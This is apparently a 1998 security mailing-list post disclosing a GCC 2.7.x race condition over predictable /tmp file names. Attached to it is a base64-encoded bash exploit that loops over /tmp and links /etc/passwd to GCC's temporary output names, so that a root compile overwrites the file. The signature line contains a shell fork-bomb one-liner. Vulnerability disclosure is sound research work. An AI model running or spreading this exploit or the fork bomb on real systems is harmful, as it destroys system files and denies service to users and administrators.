GCC 2.7.? /tmp files

=?UNKNOWN-8BIT?Q?Micha=B3?= Zalewski (lcamtuf@POLBOX.COM)
Thu, 15 Jan 1998 22:46:06 +0100

This is a multi-part message in MIME format.

--Boundary_(ID_Z9gVC1rH9p8xJX1U8E9k4w)
Content-type: text/plain; charset=iso-8859-2
Content-transfer-encoding: quoted-printable

During compilation, gcc uses following temporary files:

/tmp/ccXXXXXX.i
/tmp/ccXXXXXX.s
/tmp/ccXXXXXX.o

Where XXXXXX means a 'unique' random number. Unique, but not
quite. Only the first file (.i) is created properly, after a
detailed checks. But next one (.s) is created within a noticable
time interval using _extactly the same_ number and without performing
any checks (!). Finally, the last file (.o) is created again in the
same way, but '1' is appended to the sequence number.

Now, we may leave a script, which periodically checks /tmp looking
for cc*.i files. If any has been found, the script immediately
creates link to /etc/passwd (or another vital file) using sequence
number stripped from the .i file. Because no checks are performed by
gcc, if our script was fast enough, target file may be overwritten
when gcc has been launched by root! That's especially possible when
large sources (more than 20-50 kB?), are compiled.

I attached a simple and slow exploit. It works, but should become even
more effective when you rewrite it to C...

I've tested it under gcc 2.7.3.f.1

_______________________________________________________________________
Micha=B3 Zalewski [tel 9690] | finger 4 PGP =
[lcamtuf@boss.staszic.waw.pl]
=3D--------- [ echo "while [ -f \$0 ]; do \$0 &;done" >_;. _ ] =
---------=3D

--Boundary_(ID_Z9gVC1rH9p8xJX1U8E9k4w)
Content-type: application/octet-stream; name=gcc-exploit
Content-disposition: attachment; filename=gcc-exploit
Content-transfer-encoding: base64

IyEvYmluL2Jhc2gKCiMgU2ltcGxlIEdDQyBleHBsb2l0ICh0ZXN0ZWQgdW5kZXIgMi43LjMuZi4x
KQojIGJ5IE1pY2hhbCBaYWxld3NraSAobGNhbXR1ZkBzdGFzemljLndhdy5wbCkKIyAtLS0tLS0t
LS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQojIFVzYWdlOiAic2NyZWVuIC4v
Z2NjX2xuIiB0aGVuIEN0cmwrQSxECiMgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0t
LS0tLS0tLS0tLS0KIyBVZ2gsIGJsYWguLi4gU2hvdWxkIGJlIHdyaXR0ZW4gaW4gQyBmb3IKIyBi
ZXR0ZXIgcGVyZm9ybWFuY2UsIGJ1dCBJIGhhdmUgbm8gdGltZSA6KQoKVklDVElNPS9ldGMvcGFz
c3dkCgplY2hvICJHQ0MgZXhwbG9pdCBsYXVuY2hlZC4uLiIKCnJlbmljZSArMjAgJFBQSUQgPiYv
ZGV2L251bGwKCmNkIC90bXAKCndoaWxlIFsgMSBdOyBkbwoKICBWPWBscyBjYyouaSAyPi9kZXYv
bnVsbHxjdXQgLWYgMSAtZCAiLiJgCiAgCiAgaWYgWyAhICIkViIgPSAiIiBdOyB0aGVuCiAgICBs
biAkVklDVElNICR7Vn0ucyA+Ji9kZXYvbnVsbAogICAgbG4gJFZJQ1RJTSAke1Z9MS5vID4mL2Rl
di9udWxsCiAgICBlY2hvICJBbSBJIGZhc3QgZW5vdWdoPyIKICBmaQoKZG9uZQo=

--Boundary_(ID_Z9gVC1rH9p8xJX1U8E9k4w)--